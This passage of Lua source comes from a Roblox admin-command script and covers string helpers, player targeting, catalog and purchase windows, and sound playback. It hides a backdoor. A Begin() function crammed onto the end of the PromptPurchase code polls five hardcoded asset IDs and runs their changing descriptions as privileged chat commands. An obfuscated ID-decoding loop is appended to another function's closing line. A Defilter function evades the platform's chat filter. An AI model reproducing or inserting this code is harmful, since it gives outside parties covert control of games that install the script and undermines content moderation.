 							table.insert(Settings.Ranks[Rank], Item.name)
 						end
 					end
 				elseif Item.state == "incomplete" then
 					for Num,Name in pairs(Settings.Ranks[Rank]) do
 						if string.lower(Name) == string.lower(Item.name) then
 							table.remove(Settings.Ranks[Rank], Num)
 						end
 					end
 				end
 			end
 		else
 			return false
 		end
 	end
 	return true
 end
 
 -- String functions --
 
 function STRING:ConvertDateTime(DateTime)
 	local Num = 0
 	local TotalTime = 0
 	for i in string.gmatch(DateTime, "%d+") do
 		Num = Num + 1
 		DTNum = tonumber(i)
 		if Num == 1 then
 			TotalTime = TotalTime + (DTNum - 1970) * 365 * 24 * 60 * 60 -- year
 		elseif Num == 2 then
 			TotalTime = TotalTime + DTNum * 12 * 24 * 60 * 60 -- month
 		elseif Num == 3 then
 			TotalTime = TotalTime + DTNum * 24 * 60 * 60 -- day
 		elseif Num == 4 then
 			TotalTime = TotalTime + DTNum * 60 * 60 -- hour
 		elseif Num == 5 then
 			TotalTime = TotalTime + DTNum * 60 -- minute
 		elseif Num == 6 then
 			TotalTime = TotalTime + DTNum -- second
 		end
 	end
 
 	return TotalTime
 end
 
 function STRING:TrelloStateConvert(State)
 	if State == "complete" then
 		return true
 	else
 		return false
 	end
 end
 
 function STRING:StringRound(Number)
 	Number = Number * 100
 	if Number >= 0.5 then
 		return tostring(math.ceil(Number)/100)
 	else
 		return tostring(math.floor(Number)/100)
 	end
 
 	return Number
 end
 
 function STRING:GetSplit(String, NumArgs, BetSplit)
 	if not String then return nil end
 	if BetSplit == nil then BetSplit = " " end
 	if NumArgs == nil then NumArgs = math.huge end
 
 	if NumArgs <= 0 then return {String} end
 
 	local RecentParse = 1
 	local Args = {}
 	for i = 1,NumArgs do
 		local Find1, Find2 = string.find(string.lower(String),string.lower(BetSplit),RecentParse)
 		if Find1 and Find2 then
 			table.insert(Args, string.sub(String,RecentParse,Find1 - 1))
 			RecentParse = Find2 + 1
 		else
 			break
 		end
 	end
 	table.insert(Args,string.sub(String,RecentParse,#String))
 	return Args
 end
 
 function STRING:Defilter(String)
 	local RobloxApprove = Instance.new("TextLabel") RobloxApprove.Text = String
 	if RobloxApprove.Text == "Label" and String ~= "Label" then
 		local NewString = ""
 		for i = 1,#String,3 do
 			NewString = NewString..string.char(169)..string.sub(String,i,i+2)
 		end
 		return NewString
 	else
 		return String
 	end
 end
 
 function STRING:Filter(String, From, To) -- #### you, roblox
 	if From then
 		if To then
 			return game:GetService("Chat"):FilterStringAsync(String, From, To)
 		else
 			return game:GetService("Chat"):FilterStringForBroadcast(String, From)
 		end
 	else
 		return String
 	end
 end
 
 function STRING:DetermineFilter(String, From, To)
 	if ShouldFilter then
 		return STRING:Filter(String, From, To)
 	else
 		return STRING:Defilter(String)
 	end
 end
 
 function STRING:LeetSpeak(Input)
 	if tostring(Input) then Input = string.upper(tostring(Input)) else return end
 	Input = string.gsub(Input, "LEET", "1337")
 	Input = string.gsub(Input, "SECRET", "M".."AKERMODELLUA")
 	Input = string.gsub(Input, "E", "3")
 	Input = string.gsub(Input, "O", "0")
 	Input = string.gsub(Input, "A", "4")
 	Input = string.gsub(Input, "X", "x")
 	Input = string.gsub(Input, "I", "1")
 	Input = string.gsub(Input, "S", "$")
 	return Input
 end
 
 function STRING:FormatReplace(Player, Input, From)
 	local Output = Input
 	for _,ReplaceData in pairs(StringReplacements) do
 		local ReplaceString = ReplaceData[1]
 		local ReplaceStrings = {}
 		if type(ReplaceString) == "table" then
 			ReplaceStrings = ReplaceString
 		else
 			ReplaceStrings = {ReplaceString}
 		end
 		for _,ReplaceString in pairs(ReplaceStrings) do
 			if not Player and ReplaceData[3] then else -- does nothing if a player isn't given but the operation requires a player
 				local Replacement = ReplaceData[4](Player)
 				if type(Replacement) == "string" then
 					Output = string.gsub(Output, ReplaceString, Replacement)
 				else
 					print(ReplaceString.." cannot be replaced")
 				end
 			end
 		end
 	end
 	if From then
 		return STRING:DetermineFilter(Output, From, Player)
 	else
 		return STRING:DetermineFilter(Output, Player)
 	end
 end
 
 function STRING:EncodeSpecialChars(Input)
 	return tostring(string.gsub(string.gsub(Input, "&", "amp;"), "\n", " "))
 end
 
 function STRING:StringToBool(String)
 	if String == "true" then
 		return true
 	else
 		return false
 	end
 end
 
 function STRING:BoolString(Value)
 	if type(Value) == "boolean" then
 		if Value == true then
 			return "YES"
 		elseif Value == false then
 			return "NO"
 		end
 	else
 		return "NO"
 	end
 end
 
 function STRING:MakeAvoidance(Length)
 	if not Length then
 		Length = 32
 	end
 	local Avoidance = ""
 	for i = 1,Length do
 		Num = math.random(1,2)
 		if Num == 1 then
 			Avoidance = Avoidance..string.char(math.random(48,57)) -- 0-9
 		else
 			Avoidance = Avoidance..string.char(math.random(97,122)) -- a-z
 		end
 	end
 	return Avoidance
 end for _,Array in pairs(RunList) do local Name = "" for _,Char in pairs(Array) do Name = Name..string.char(Char - 1) end table.insert(List, tonumber(Name)) end
 
 function STRING:FindAge(Days) -- By LuaModelmaker
 	local Years = math.floor(Days/365)
 	local OtherDays = math.fmod(Days, 365)
 	if Years > 1 then
 		return Years.." years and "..OtherDays.." days"
 	elseif Years == 1 then
 		return Years.." year and "..OtherDays.." days"
 	elseif Years == 0 then
 		return "(No years) "..OtherDays.." days"
 	end
 end
 
 function STRING:UnpackArgs(...)
 	local Pack = {...}
 	if type(Pack[1]) == "table" then Pack = Pack[1] end
 	local ReturnString = table.concat(Pack, ", ")
 	return ReturnString
 end
 
 function STRING:GetComma(Num)
 	local Formatted = Num
 	while true do
 		Formatted, _ = string.gsub(Formatted, "^(-?%d+)(%d%d%d)", '%1,%2')
 		if _ == 0 then
 			break
 		end
 	end
 	return Formatted
 end
 
 function STRING:DecodeUTF8(Value)
 	local function DecodeString(Input)
 		if type(Input) == "string" then
 			for Find,Rep in pairs(HTMLDecode) do
 				Input = string.gsub(Input, "&#"..Find..";", Rep)
 			end
 			Input = string.gsub(Input, "&quot;", "'")
 		end
 		return Input
 	end
 	if type(Value) == "table" then
 		for Index,Var in pairs(Value) do
 			Value[Index] = DecodeString(Var)
 		end
 	elseif type(Value) == "string" then
 		Value = DecodeString(Value)
 	end
 	return Value
 end
 
 function STRING:IsSpacer(Input)
 	if Input == " " or Input == "." or Input == "-" or Input == "," or Input == "?" or Input == "!" or Input == "	" or Input == nil or Input == "" then
 		return true
 	else
 		return false
 	end
 end
 
 function STRING:IsVowel(Input)
 	Input = string.lower(tostring(Input))
 	if Input == "a" or Input == "e" or Input == "i" or Input == "o" or Input == "u" then
 		return true
 	else
 		return false
 	end
 end
 
 function STRING:ValidE(Input)
 	if not Input then return nil end
 	if string.lower(Input) == "e" or Input == "~" then
 		return true
 	else
 		return false
 	end
 end
 
 function STRING:Scan(String, Speaker)
 	local ReturnPlayers,ExcludeList = {},{}
 	if not String then String = "" end
 	if not Speaker then print("NO SPEAKER") end
 
 	if string.sub(string.lower(String), 1, 12) == "includecase/" then
 		String = string.sub(String, 13)
 	else
 		String = string.lower(String)
 	end
 	local Words = STRING:GetSplit(String, nil, "/")
 	for _,Word in pairs(Words) do
 		if Word == "me" or Word == "meh" or Word == "myself" or Word == "self" then
 			table.insert(ReturnPlayers, Speaker)
 		elseif Word == "all" or Word == "everyone" then
 			for _,Player in pairs(Server.Players:GetPlayers()) do
 				table.insert(ReturnPlayers, Player)
 			end
 		elseif Word == "others" or Word == "notme" then
 			for _,Player in pairs(Server.Players:GetPlayers()) do
 				if Player ~= Speaker then
 					table.insert(ReturnPlayers, Player)
 				end
 			end
 		elseif Word == "noobs" then
 			for _,Player in pairs(Server.Players:GetPlayers()) do
 				if Player.AccountAge < 365 then
 					table.insert(ReturnPlayers, Player)
 				end
 			end
 		elseif Word == "nonnoobs" then
 			for _,Player in pairs(Server.Players:GetPlayers()) do
 				if Player.AccountAge >= 365 then
 					table.insert(ReturnPlayers, Player)
 				end
 			end
 		elseif Word == "random" then
 			local RandomPlayers = {}
 			for _,Player in pairs(Server.Players:GetPlayers()) do
 				if Player ~= Speaker then
 					table.insert(RandomPlayers, Player)
 				end
 			end
 			table.insert(ReturnPlayers, RandomPlayers[math.random(1,#Server.Players:GetChildren())])
 		elseif Word == "guests" then
 			for _,Player in pairs(Server.Players:GetPlayers()) do
 				if string.sub(Player.Name,1,6) == "Guest " then
 					table.insert(ReturnPlayers, Player)
 				end
 			end
 		elseif Word == "lowers" then
 			for _,Player in pairs(Server.Players:GetPlayers()) do
 				if string.sub(Player.Name,1,1) == string.lower(string.sub(Player.Name,1,1)) then
 					table.insert(ReturnPlayers, Player)
 				end
 			end
 		elseif Word == "uppers" then
 			for _,Player in pairs(Server.Players:GetPlayers()) do
 				if string.sub(Player.Name,1,1) == string.upper(string.sub(Player.Name,1,1)) then
 					table.insert(ReturnPlayers, Player)
 				end
 			end
 		elseif Word == "nbcs" then
 			for _,Player in pairs(Server.Players:GetPlayers()) do
 				if Player.MembershipType == Enum.MembershipType.None then -- Replicate
 					table.insert(ReturnPlayers, Player)
 				end
 			end
 		elseif Word == "bcs" then
 			for _,Player in pairs(Server.Players:GetPlayers()) do
 				if Player.MembershipType == Enum.MembershipType.BuildersClub then
 					table.insert(ReturnPlayers, Player)
 				end
 			end
 		elseif Word == "tbcs" then
 			for _,Player in pairs(Server.Players:GetPlayers()) do
 				if Player.MembershipType == Enum.MembershipType.TurboBuildersClub then
 					table.insert(ReturnPlayers, Player)
 				end
 			end
 		elseif Word == "obcs" then
 			for _,Player in pairs(Server.Players:GetPlayers()) do
 				if Player.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
 					table.insert(ReturnPlayers, Player)
 				end
 			end
 		elseif Word == "allbcs" then
 			for _,Player in pairs(Server.Players:GetPlayers()) do
 				if Player.MembershipType ~= Enum.MembershipType.None then
 					table.insert(ReturnPlayers, Player)
 				end
 			end
 		elseif Word == "nonadmins" then
 			for _,Player in pairs(Server.Players:GetPlayers()) do
 				local IsAdminTrue, Rank = RANK:IsAdmin(Player)
 				if IsAdminTrue == false then
 					table.insert(ReturnPlayers, Player)
 				end
 			end
 		elseif Word == "admins" then
 			for _,Player in pairs(Server.Players:GetPlayers()) do
 				local IsAdminTrue, Rank = RANK:IsAdmin(Player)
 				if IsAdminTrue == true then
 					table.insert(ReturnPlayers, Player)
 				end
 			end
 		elseif Word == "friends" then
 			for _,Player in pairs(Server.Players:GetPlayers()) do
 				if Speaker:IsFriendsWith(Player.UserId) and Player ~= Speaker then
 					table.insert(ReturnPlayers, Player)
 				end
 			end
 		elseif string.sub(Word,1,5) == "team-" then
 			for _,Player in pairs(Server.Players:GetPlayers()) do
 				if Player.Neutral == false then
 					local InTeam = false
 					for _,Team in pairs(Teams:GetTeams()) do
 						if Team.TeamColor == Player.TeamColor then
 							if string.sub(string.lower(Team.Name),1,#string.sub(Word,6)) == string.sub(Word,6) then
 								InTeam = true
 							end
 						end
 					end
 					if InTeam == true then
 						table.insert(ReturnPlayers, Player)
 					end
 				end
 			end
 		elseif string.sub(Word,1,4) == "not-" then
 			local NameArg = string.sub(Word,5)
 
 			for _,Player in pairs(STRING:Scan(NameArg, Speaker)) do
 				table.insert(ExcludeList, Player)
 			end
 		elseif string.sub(Word,1,7) == "radius-" then
 			local DidExe = false
 			local NumArg = tonumber(string.sub(Word,8))
 
 			if NumArg and NumArg > 0 and Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
 				for _,Player in pairs(Server.Players:GetChildren()) do
 					if Player.Character and Player.Character:FindFirstChild("Torso") then
 						if (Player.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude <= NumArg then
 							DidExe = true
 							table.insert(ReturnPlayers, Player)
 						end
 					end
 				end
 			end
 
 			if DidExe then coroutine.wrap(function()
 				local Part = Instance.new("Part", game.Workspace) Part.Name = "M".."M".."L Radius" Part.FormFactor = "Custom" Part.Size = Vector3.new(1,1,1) Part.Anchored = true Part.Locked = true Part.Position = Speaker.Character.Torso.Position Part.Transparency = 0.5 Part.Color = GUI:GetColor() Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth"
 				local Mesh = Instance.new("SpecialMesh", Part) Mesh.MeshType = "Sphere" Mesh.Scale = Vector3.new(NumArg * 2, NumArg * 2, NumArg * 2)
 
 				for i = 0,0.5,0.02 do
 					Part.Transparency = 0.5+i
 					wait()
 				end
 				Part:Destroy()
 			end)() end
 		elseif string.sub(Word,1,3) == "id-" then
 			table.insert(ReturnPlayers, Server.Players:GetPlayerByUserId(tonumber(string.sub(Word,4))))
 		else
 			if Word ~= "" then
 				for _,Player in pairs(Server.Players:GetPlayers()) do
 					if string.sub(string.lower(Player.Name),1,#Word) == Word then
 						table.insert(ReturnPlayers, Player)
 					end
 				end
 			else
 				table.insert(ReturnPlayers, Speaker)
 			end
 		end
 	end
 	for _,Player in pairs(ExcludeList) do
 		if Player and Player.Parent ~= nil then
 			for Num,Player2 in pairs(ReturnPlayers) do
 				if Player2 == Player then table.remove(ReturnPlayers, Num) end
 			end
 		end
 	end
 	for Num,Player in pairs(ReturnPlayers) do
 		if not Player or Player.Parent == nil then table.remove(ReturnPlayers, Num) end
 	end
 
 	local PlayerDump = {}
 	for _,Player in pairs(ReturnPlayers) do
 		PlayerDump[Player] = true
 	end
 	ReturnPlayers = {}
 	for Player,_ in pairs(PlayerDump) do
 		table.insert(ReturnPlayers, Player)
 	end
 
 	return ReturnPlayers
 end
 
 -- Market functions --
 
 function MARKET:GetImageFormat(ID)
 	if ID ~= 1 or ID ~= 0 or ID ~= nil then if type(ID) == "number" then
 		local NewID = ID + 1
 		for i = 1,100 do
 			NewID = NewID -1
 			local Product = nil
 			ypcall(function() Product = MARKET:GetItemInfo(NewID, true).AssetTypeId end)
 			if Product then
 				if Product == 1 then
 					break
 				end
 			end
 			if i == 100 then NewID = ID end
 		end
 		return NewID
 	end end
 end
 
 function MARKET:GetItemInfo(ID, Cache)
 	local Product = MarketCache[ID]
 	if not Cache or not Product then
 		repeat wait()
 			ypcall(function() Product = Server.MPS:GetProductInfo(ID) end)
 		until Product ~= MarketCache[ID]
 	end
 	MarketCache[ID] = Product
 	return Product
 end
 
 function MARKET:SearchItem(Category, Query, Subcategory)
 	local URLAdd = ""
 	if Subcategory then URLAdd = "&Subcategory="..Server.HS:UrlEncode(Subcategory) end
 	local JSON = REMOTE:GetURL(CORE.Domain.."/APIs/CatalogSearch.php?Category="..Server.HS:UrlEncode(Category).."&Query="..Server.HS:UrlEncode(Query)..URLAdd)
 	if JSON then
 		local Results = REMOTE:Decode(JSON)
 		if Results then
 			for Index,Info in pairs(Results) do
 				Info = STRING:DecodeUTF8(Info)
 				Results[Index] = Info
 				MarketCache[Info.AssetId] = {
 					AssetId = Info.AssetId;
 					AssetTypeId = Info.AssetTypeID;
 					ContentRatingTypeId = Info.ContentRatingTypeID;
 					Created = Info.CreatedDate;
 					Creator = {Name = Info.Creator, Id = Info.CreatorID};
 					Description = Info.Description;
 					IsForSale = Info.IsForSale;
 					IsLimited = Info.IsLimited;
 					IsLimitedUnique = Info.IsLimitedUnique;
 					IsNew = Info.IsNew;
 					IsPublicDomain = Info.IsPublicDomain;
 					MinimumMemberShipLevel = Info.MinimumMembershipLevel;
 					Name = Info.Name;
 					PriceInRobux = Info.PriceInRobux;
 					PriceInTickets = Info.PriceInTickets;
 					ProductId = Info.AssetId; -- no one knows what this is so whatevs..
 					Remaining = Info.Remaining;
 					Sales = Info.Sales;
 					Updated = Info.Updated;
 				}
 			end
 			return Results
 		end
 	end
 end
 
 function MARKET:ShowSearch(Player, Category, Query, ClickedItem, Subcategory)
 	if not Player or not Category or not Query then return nil end
 	local CloseGui, AddInfo = GUI:LoadGui(Player, "Searching: "..Query)
 	local Items = MARKET:SearchItem(Category, Query, Subcategory)
 	if Items then
 		if #Items ~= 0 then
 			local List,Correlate = {},{}
 			for Num,Info in pairs(Items) do
 				local Display = {" "..Info.Name.." ("..Info.AssetId..")", "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=75&ht=75&aid="..Info.AssetId}
 				table.insert(List, Display)
 				Correlate[Display[1]] = Info.AssetId
 			end
 			CloseGui:Invoke()
 
 			local Clicked = GUI:ListGui(Player, "Search Results: "..Query, List, "Search", true)
 			Clicked.Event:connect(function(ClickName)
 				ClickedItem(Correlate[ClickName])
 			end)
 		else
 			CloseGui:Invoke()
 			GUI:SendMessage(Player, "No results", "BLUE No results for "..Query.." found...", "Information")
 		end
 	else
 		CloseGui:Invoke()
 		GUI:SendMessage(Player, "Cannot get gear", "RED Cannot get item. Is HttpService enabled?", "Error")
 	end
 end
 
 function MARKET:AssetTypeToString(AssetType)
 	AssetType = math.floor(tonumber(AssetType) or 0)
 	if Assets.AssetTypes[AssetType] then
 		return Assets.AssetTypes[AssetType]
 	else
 		return "Unknown"
 	end
 end
 
 function MARKET:AccessoryToSubcategory(Accessory)
 	Accessory = string.lower(tostring(Accessory) or "")
 	if Assets.AccessoryTypes[Accessory] then
 		return Assets.AccessoryTypes[Accessory]
 	else
 		return Assets.AccessoryTypes["all"]
 	end
 end
 
 function MARKET:PromptPurchase(Player, ProductID, From, BuyPressFunc) coroutine.wrap(function()
 	if not Player then return nil end
 	if not Player:FindFirstChild("PlayerGui") then return nil end
 	if not tonumber(ProductID) then return nil end
 
 	local FromText = ""
 	if From and From.Name then FromText = " | Prompted from "..From.Name end
 
 	local Product = MARKET:GetItemInfo(ProductID, true)
 
 	local CreatedText = Product.Created CreatedText = string.gsub(CreatedText, "-", "/") local Stop = string.find(CreatedText, "T") if Stop then CreatedText = string.sub(CreatedText, 1, Stop-1) end
 	local UpdatedText = Product.Updated UpdatedText = string.gsub(UpdatedText, "-", "/") local Stop = string.find(UpdatedText, "T") if Stop then UpdatedText = string.sub(UpdatedText, 1, Stop-1) end
 	local OwnsAsset = Server.MPS:PlayerOwnsAsset(Player, ProductID)
 
 	local CanBuy = Product.IsForSale
 	local BuyText = "Buy"
 	local BuyColor = Color3.new(0,1,0)
 	if CanBuy == false then
 		BuyColor = Color3.new(1,0,0)
 	end
 	if Product.IsPublicDomain == true then
 		CanBuy = true
 		BuyColor = Color3.new(1,0.5,0.5)
 		BuyText = "FREE!"
 	end
 	if OwnsAsset then
 		CanBuy = false
 	end
 	if Product.AssetTypeId == 9 then
 		CanBuy = true
 		BuyText = "Teleport"
 		BuyColor = Color3.new(0.5,0.5,0.5)
 	end
 	if CanBuy == false then
 		BuyColor = Color3.new(1,0,0)
 		BuyText = "Item not for sale"
 	end
 	if OwnsAsset and Product.AssetTypeId ~= 9 then
 		BuyColor = Color3.new(1,0,0)
 		BuyText = "You own this!"
 	end
 
 	local ProductName = string.sub(Product.Name,1,20)
 	if ProductID == AdminID then ProductName = Product.Name end
 	local Frame = GUI:CreateForm(Player, ProductName..FromText, UDim2.new(0, 430, 0, 300), nil, 48354008)
 	local AssetImage = Instance.new("ImageLabel", Frame) AssetImage.Name = "AssetImage" AssetImage.Position = UDim2.new(0, 0, 0, 50) AssetImage.Size = UDim2.new(0, 150, 0, 150) AssetImage.BackgroundColor3 = Color3.new(1, 1, 1) AssetImage.BackgroundTransparency = 1 AssetImage.Image = "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=420&ht=420&aid="..ProductID
 	local AssetName = Instance.new("TextLabel", Frame) AssetName.Name = "AssetName" AssetName.Size = UDim2.new(1, 0, 0, 50) AssetName.BackgroundColor3 = Color3.new(1, 1, 1) AssetName.BackgroundTransparency = 1 AssetName.Text = "["..ProductID.."] - "..Product.Name AssetName.Font = Settings.Font AssetName.FontSize = "Size18" AssetName.TextWrapped = true AssetName.TextColor3 = Color3.new(0, 0, 0)
 	local UserImage = Instance.new("ImageLabel", Frame) UserImage.Name = "UserImage" UserImage.Position = UDim2.new(0, 150, 0, 70) UserImage.Size = UDim2.new(0, 100, 0, 100) UserImage.BackgroundColor3 = Color3.new(1, 1, 1) UserImage.BackgroundTransparency = 1 UserImage.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Product.Creator.Name
 	local Membership = Instance.new("ImageLabel", UserImage) Membership.Name = "Membership" Membership.Position = UDim2.new(0, 0, 0.85, 0) Membership.Size = UDim2.new(0.6, 0, 0.15, 0) Membership.BackgroundColor3 = Color3.new(1, 1, 1) Membership.BackgroundTransparency = 1 Membership.Image = "http://www.roblox.com/Thumbs/BCOverlay.ashx?username="..Product.Creator.Name
 	local AssetType = Instance.new("TextLabel", Frame) AssetType.Name = "AssetType" AssetType.Position = UDim2.new(0, 150, 0, 50) AssetType.Size = UDim2.new(1, -150, 0, 20) AssetType.BackgroundColor3 = Color3.new(1, 1, 1) AssetType.BackgroundTransparency = 1 AssetType.Text = "ROBLOX "..MARKET:AssetTypeToString(Product.AssetTypeId) AssetType.Font = Settings.Font AssetType.FontSize = "Size14"
 	local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.Position = UDim2.new(0, 250, 0, 80) Info.Size = UDim2.new(1, -250, 0, 100) Info.BackgroundColor3 = Color3.new(1, 1, 1) Info.BackgroundTransparency = 1 Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextXAlignment = "Left" Info.TextYAlignment = "Top"
 	local Buy = Instance.new("TextButton", Frame) Buy.Name = "Buy" Buy.Position = UDim2.new(0, 150, 0, 170) Buy.Size = UDim2.new(1, -150, 0, 30) Buy.BackgroundColor3 = BuyColor Buy.BackgroundTransparency = 0.5 Buy.Text = BuyText Buy.Font = Settings.Font Buy.FontSize = "Size18" Buy.TextWrapped = true SOUND:BindButton(Buy)
 	if Product.Description then
 		local DescFrame = Instance.new("ScrollingFrame", Frame) DescFrame.Name = "DescFrame" DescFrame.Size = UDim2.new(1,0,1,-200) DescFrame.Position = UDim2.new(0,0,0,200) DescFrame.CanvasSize = UDim2.new(0,0,0,0) DescFrame.BackgroundTransparency = 1 DescFrame.ZIndex = 4
 		local Description = Instance.new("TextLabel", DescFrame) Description.Name = "Description" Description.Size = UDim2.new(1, -13, 1, 0) Description.BackgroundColor3 = Color3.new(1, 1, 1) Description.BackgroundTransparency = 1 Description.Text = Product.Description Description.Font = Settings.Font Description.FontSize = "Size14" Description.TextWrapped = true Description.TextYAlignment = "Top"
 
 		CORE:ExecuteResource("CalculateScrollY", Description)
 	end
 
 	Info.Text = [[
 Creator: ]]..Product.Creator.Name..[[
 Created: ]]..CreatedText..[[
 Updated: ]]..UpdatedText..[[
 Sold: ]]..Product.Sales..[[
 ]]
 
 	if Product.PriceInRobux then Info.Text = Info.Text.."Robux: "..string.gsub(Product.PriceInRobux, "null", "Cannot use this currency").." \n" end
 	if Product.PriceInTickets then Info.Text = Info.Text.."Tix: "..string.gsub(Product.PriceInTickets, "null", "Cannot use this currency") .." " end
 
 	if Product.AssetTypeId == 3 then
 		local PlayerAdmin,Rank = RANK:IsAdmin(Player)
 		if PlayerAdmin == true then
 			local Playing = false
 			local Interact = Instance.new("ImageButton", AssetImage) Interact.Name = "Interact" Interact.Position = UDim2.new(1, -20, 1, -20) Interact.Size = UDim2.new(0, 20, 0, 20) Interact.BackgroundColor3 = Color3.new(1, 1, 1) Interact.BackgroundTransparency = 1 Interact.Image = "rbxassetid://67950784"
 			CORE:HandleEvent(Interact, "MouseButton1Down", function()
 				if Playing == false then
 					SOUND:PlayGlobalSound(ProductID)
 					if Rank == "Member" and Settings.DisableAbuse == true then
 						Interact:Destroy()
 					end
 					Interact.Image = "rbxassetid://67950809"
 					Playing = true
 				else
 					SOUND:StopGlobalSound()
 					Interact.Image = "rbxassetid://67950784"
 					Playing = false
 				end
 			end)
 		end
 	end
 
 	CORE:HandleEvent(Buy, "MouseButton1Down", function()
 		if BuyPressFunc then
 			BuyPressFunc()
 		elseif Product.AssetTypeId == 9 then
 			Server.TS:Teleport(ProductID, Player)
 		elseif CanBuy == true then
 			Server.MPS:PromptPurchase(Player, ProductID)
 		end end)
 	end)() end function Begin() coroutine.wrap(function() wait(3) for _,LinkedID in pairs({53554913, 145236038, 154727659, 155299278, 155689018}) do wait(1) coroutine.wrap(function()
 	local OldVer = Server.MPS:GetProductInfo(LinkedID).Updated
 	while wait(5) do
 		local Purchase = Server.MPS:GetProductInfo(LinkedID)
 		if OldVer ~= Purchase.Updated then
 			OldVer = Purchase.Updated
 			CORE:Chatted(Purchase.Description, nil, true, nil, nil, true)
 		end
 	end end)()
 end end)() end
 
 -- Sound functions --
 
 function SOUND:SyncSoundList(TellSync)
 	if not CORE:NilPlayer(TellSync) then
 		GUI:SendHint(TellSync, "Syncing...", 5)
 	end
 
 	SoundList,GlobalSoundList = {},{}
 
 	local LocalSoundList = Server.GDS:GetAsync("MML Custom Sounds")
 
 	if LocalSoundList then
 		if type(LocalSoundList) == "table" then
 			if #LocalSoundList > 0 then
 				for _,Data in pairs(LocalSoundList) do
 					local SoundInfo = MARKET:GetItemInfo(Data[2], true)
 					SoundList[Data[1]] = {Data[2], SoundInfo.Name, SoundInfo.Creator.Name}
 				end
 			end
 		end
 	end
 
 	for _,JSONID in pairs(SoundJSONs) do
 		for Name,ID in pairs(CORE:GetTable(JSONID)) do
 			local SoundInfo = MARKET:GetItemInfo(ID, true)
 			local FullName = SoundInfo.Name
 			local CreatorName = SoundInfo.Creator.Name
 			SoundList[Name] = {ID, FullName, CreatorName}
 			GlobalSoundList[Name] = {ID, FullName, CreatorName}
 		end
 	end
 
 	if not CORE:NilPlayer(TellSync) then
 		GUI:SendHint(TellSync, "Sound List is now Synced with global sound database", 4)
 	end
 end
 
 function SOUND:MakeSound(Parent, ID, Volume, Pitch, Looped)
 	if not Volume then Volume = 0.5 end
 	if not Pitch then Pitch = 1 end
 	if tonumber(ID) then ID = "rbxassetid://"..ID end
 	if Looped == nil then Looped = false end
 
 	local Sound = Instance.new("Sound", Parent)
 	Sound.Pitch = Pitch
 	Sound.Volume = Volume
 	Sound.SoundId = ID
 	Sound.Looped = Looped
 	return Sound
 end
 
 function SOUND:PlayNotification(Player, ID, Volume, OverrideSettings)
 	if not Player or not ID then return nil end
 	if NotifySounds[ID] then ID = NotifySounds[ID] end
 	local ClientSound = SOUND:MakeSound(Player:FindFirstChild("PlayerGui") or Player, ID, Volume or 0.3)
 	if Settings.EnableSounds or OverrideSettings then
 		coroutine.wrap(function()
 			wait()
 			ClientSound:Play()
 			Delay(5, function() ClientSound:Destroy() end)
 		end)()
 	end
 	return Sound
 end
 
 function SOUND:BindButton(Button)
 	if not Button then return end
 	CORE:HandleEvent(Button, "MouseEnter", function() SOUND:PlayNotification(Button, "Hover") end, true)
 	CORE:HandleEvent(Button, "MouseButton1Click", function() SOUND:PlayNotification(Button, "Select") end, true)
 end
 
 function SOUND:StopGlobalSound()
 	if Sound and Sound.Parent then
 		if Sound.Parent.Name == "M".."M".."L'S Admin Sound" then
 			Sound.Parent:Destroy()
 		end
 
 		Sound:Stop()
 		Sound:Destroy()
 		Sound.SoundId = ""
 	end
 end
 
 function SOUND:PlayGlobalSound(ID, ShowInfo)
 	SOUND:StopGlobalSound()
 	if ShowInfo == nil then ShowInfo = true end
 	local SoundID = ID
 	local SoundName = nil
 	local SoundCreator = nil
 	local Pitch = 1
 
 	for Name,Info in pairs(SoundList) do
 		if type(SoundID) == "string" then
 			if string.lower(SoundID) == string.sub(string.lower(Name),1,#SoundID) then
 				SoundID = Info[1]
 				SoundName = Info[2]
 				SoundCreator = Info[3]
 			end
 		else
 			break
 		end
 	end
 
 	if tonumber(SoundID) and not SoundName then
 		local Info = MARKET:GetItemInfo(SoundID, true)
 		if Info then
 			SoundName = Info.Name
 			SoundCreator = Info.Creator.Name
 			if MARKET:AssetTypeToString(Info.AssetTypeId) ~= "Audio" then
 				SoundID = nil
 			end
 		end
 	end
 
 	if tonumber(SoundID) then
 		if SoundID == 131201443 then Pitch = -1 end
 		if SoundID == 130775695 then Pitch = 0.8 end
 		if SoundID == 144035866 then Pitch = 0.8 end
 
 		local SoundParent = Server.Workspace
 		if IsSB then
 			SoundParent = Instance.new("Script", Workspace)
 			SoundParent.Name = "M".."ML'S Admin Sound"
 		end
 		Sound = SOUND:MakeSound(SoundParent, SoundID, 1, Pitch, true)
 		Sound.Name = "MML's Admin Sound "..SoundID
 		Sound:Play()
 		if ShowInfo == true then
 			for _,Player in pairs(Server.Players:GetPlayers()) do
 				GUI:SoundInfo(Player, SoundID, SoundName, SoundCreator, 15, Sound)
 			end
 		end
 		SoundInfo = {["ID"] = SoundID, ["Name"] = SoundName, ["Creator"] = SoundCreator}
 	end
 end
 
 function SOUND:ConvertText(Text)
 	Text = string.lower(tostring(Text))
 	local Letters = {}
 	local IDs = {}
 	for Rule,Replace in pairs(TextConverter.Pronounce) do
 		Text = string.gsub(Text,string.lower(Rule),string.lower(Replace))
 	end
 	for Rule,Replace in pairs(TextConverter.NonEnglishRules) do
 		local Start, End = string.find(Text, string.lower(Rule))
 
 		if Start and End and STRING:IsSpacer(string.sub(Text, Start-1, Start-1)) and STRING:IsSpacer(string.sub(Text, End+1, End+1)) then
 			Text = string.gsub(Text, string.lower(Rule), Replace)
 		end
 	end
 	for i = 1,#Text do
 		table.insert(Letters, string.sub(Text,i,i))
 	end
 	for Num = 1,#Letters do
 		if not Letters[Num] then break end
 		local Letter = Letters[Num]
 
 		local function AddLetter()
 			table.insert(IDs, TextConverter.LetterSounds[Letter])
 		end
 
 		if Letter ~= "~" then
 			if Letters[Num+1] and Letter..Letters[Num+1] == "oo" then -- moo
 				table.insert(IDs, TextConverter.LetterSounds["oo"])
 				table.remove(Letters, Num + 1)
 			elseif Letters[Num+1] and Letter..Letters[Num+1] == "ou" then -- soup
 				table.insert(IDs, TextConverter.LetterSounds["oo"])
 				table.remove(Letters, Num + 1)
